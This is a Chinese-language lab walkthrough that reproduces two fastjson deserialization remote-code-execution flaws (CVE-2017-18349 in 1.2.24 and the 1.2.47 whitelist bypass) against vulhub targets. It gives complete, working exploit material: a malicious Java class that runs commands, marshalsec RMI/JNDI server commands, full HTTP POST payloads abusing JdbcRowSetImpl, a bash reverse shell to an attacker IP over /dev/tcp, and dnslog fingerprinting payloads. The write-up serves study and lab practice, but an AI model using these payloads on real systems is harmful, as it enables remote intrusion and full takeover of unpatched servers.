文章目錄
- fastjson 1.2.24 反序列化導致任意命令執行漏洞(CVE-2017-18349)
- 0x00 預備知識
- 0x01 漏洞描述
- 0x02 影響版本
- 0x03 靶場環境
- 0x04 漏洞分析
- 0x05 漏洞復現
- 0x06 反彈shell
- 0x07 Fastjson指紋特征
- fastjson 1.2.47 遠程命令執行漏洞
- 0x00 漏洞描述
- 0x01 影響版本
- 0x02 靶場環境
- 0x03 漏洞分析
- 0x04 漏洞復現
fastjson 1.2.24 反序列化導致任意命令執行漏洞(CVE-2017-18349)
0x00 預備知識
RMI:
RMI(Remote Method Invocation)為遠程方法呼叫,是允許運行在一個Java虛擬機的物件呼叫運行在另一個Java虛擬機上的物件的方法, 這兩個虛擬機可以是運行在相同計算機上的不同行程中,也可以是運行在網路上的不同計算機中,
Java RMI:Java遠程方法呼叫,即Java RMI(Java Remote Method Invocation)是Java編程語言里,一種用于實作遠程程序呼叫的應用程式編程介面,它使客戶機上運行的程式可以呼叫遠程服務器上的物件,遠程方法呼叫特性使Java編程人員能夠在網路環境中分布操作,RMI全部的宗旨就是盡可能簡化遠程介面物件的使用,
參考RMI:https://blog.csdn.net/xinghun_4/article/details/45787549
JNDI:
jndi的全稱為Java Naming and Directory Interface(java命名和目錄介面)SUN公司提供的一種標準的Java命名系統介面,JNDI提供統一的客戶端API,通過不同的服務供應介面(SPI)的實作,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程式可以和這些命名服務和目錄服務之間進行互動,
jndi注入就是利用的動態類加載完成攻擊的,
參考JNDI注入:https://blog.csdn.net/u011479200/article/details/108246846
0x01 漏洞描述
FastJson庫是Java的一個Json庫,其作用是將Java物件轉換成json資料來表示,也可以將json資料轉換成Java物件,
fastjson在決議json的程序中,支持使用autoType來實體化某一個具體的類,并呼叫該類的set/get方法來訪問屬性,通過查找代碼中相關的方法,即可構造出一些惡意利用鏈,
fastjson特性:
- 提供服務器端、安卓客戶端兩種決議工具,性能表現較好,
- 提供了 toJSONString() 和 parseObject() 方法來將 Java 物件與 JSON 相互轉換,呼叫toJSONString方 法即可將物件轉換成 JSON 字串,parseObject 方法則反過來將 JSON 字串轉換成物件,
- 允許轉換預先存在的無法修改的物件(只有class、無源代碼),
- Java泛型的廣泛支持,
- 允許物件的自定義表示、允許自定義序列化類,
- 支持任意復雜物件(具有深厚的繼承層次和廣泛使用的泛型型別),
0x02 影響版本
fastjson <= 1.2.24
0x03 靶場環境
fastjson 1.2.24:https://vulhub.org/#/environments/fastjson/1.2.24-rce/
0x04 漏洞分析
JSON 還原回Object 的方法,主要的API有兩個,分別是JSON.parseObject和JSON.parse,最主要的區別就是前者回傳的是JSONObject而后者回傳的是實際型別的物件,當在沒有對應類的定義的情況下,通常情況下都會使用JSON.parseObject來獲取資料,
fastjson接受的JSON可以通過@type欄位來指定該JSON應當還原成何種型別的物件,在反序列化的時候方便操作,
原始碼分析:
https://www.freebuf.com/vuls/178012.html
http://xxlegend.com/2017/04/29/
0x05 漏洞復現
環境運行后,訪問http://your-ip:8090即可看到JSON格式的輸出:

向這個地址POST一個JSON物件,即可更新服務端的資訊:
因為目標環境是Java 8u102,沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以使用com.sun.rowset.JdbcRowSetImpl的利用鏈,借助JNDI注入來執行命令:
保存以下代碼為TouchFile.java檔案(檔案名與類名要一致否則會報錯):
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
執行代碼生成TouchFile.class檔案:javac TouchFile.java

使用marshalsec專案,啟動RMI服務:
marshalsec專案下載地址:https://github.com/mbechler/marshalsec.git
下載好之后用mvn打包:mvn clean package -DskipTests

成功之后target目錄下會生成marshalsec-0.0.3-SNAPSHOT-all.jar檔案:

然后先把編譯好的class檔案傳到外網系統中,用python起一個簡單的http服務:python -m SimpleHTTPServer 12581

開啟RMI服務,監聽9999埠,并制定加載遠程類TouchFile.class:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.11.34.231:12581/#TouchFile" 9999(后來換了個ip,意思一樣問題不大)
向靶機發送payload,帶上RMI地址:
POST / HTTP/1.1
Host: 192.168.1.142:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.142:9999/TouchFile",
"autoCommit":true
}
}

登錄靶機,檔案已成功創建:

攻擊機效果截圖:

0x06 反彈shell
只需要改一下執行命令即可,將TouchFile.java內容改為:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.142/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
之后重復上述操作,在攻擊機監聽7777埠,抓包修改重放后就會得到反彈shell了:

0x07 Fastjson指紋特征
- 根據回傳包判斷:
任意抓個包,提交方式改為POST,花括號不閉合,回傳包在就會出現fastjson字樣,當然這個可以屏蔽,如果屏蔽使用其它辦法, - 利用dnslog盲打:
構造以下payload,利用dnslog平臺接收:{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

查看平臺回傳結果:

1.2.67 版本后 payload:
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
# 畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}
fastjson 1.2.47 遠程命令執行漏洞
0x00 漏洞描述
Fastjson是阿里巴巴公司開源的一款json決議器,其性能優越,被廣泛應用于各大廠商的Java專案中,fastjson于1.2.24版本后增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的json字串繞過白名單檢測,成功執行任意命令,
0x01 影響版本
fastjson <= 1.2.47
0x02 靶場環境
fastjson 1.2.47:https://vulhub.org/#/environments/fastjson/1.2.47-rce/
0x03 漏洞分析
在Fastjson 1.2.47及以下版本中,利用其快取機制可實作對未開啟autotype功能的繞過,攻擊者可以利用特殊構造的json字串繞過白名單檢測,成功執行任意命令,
原始碼分析:
https://www.freebuf.com/vuls/208339.html
https://cert.360.cn/warning/detail?id=7240
0x04 漏洞復現
環境啟動后,訪問http://your-ip:8090即可看到一個json物件被回傳:

將content-type修改為application/json后可向其POST新的JSON物件,后端會利用fastjson進行決議:
故意構造一個不完整的json發送請求,會發現回應包會有fastjson欄位:

利用dnslog平臺驗證:{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

查看平臺回傳結果:

復現流程與 1.2.24 版本相同,只是傳入的payload不同:
POST / HTTP/1.1
Host: 192.168.1.142:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 265
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.143:9999/TouchFile",
"autoCommit":true
}
}
攻擊機監聽得到反彈shell:

攻擊成功效果截圖:

參考鏈接:
https://www.freebuf.com/articles/web/242712.html(Fastjson1.2.24漏洞復現詳細程序)
https://www.freebuf.com/vuls/178012.html(Fastjson 1.2.24反序列化漏洞分析)
http://xxlegend.com/2017/04/29/(fastjson 遠程反序列化poc的構造和分析 )
https://www.freebuf.com/vuls/208339.html(淺談Fastjson RCE漏洞的繞過史)
https://cert.360.cn/warning/detail?id=7240(FastJson 遠程代碼執行漏洞分析報告)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/293874.html
標籤:其他
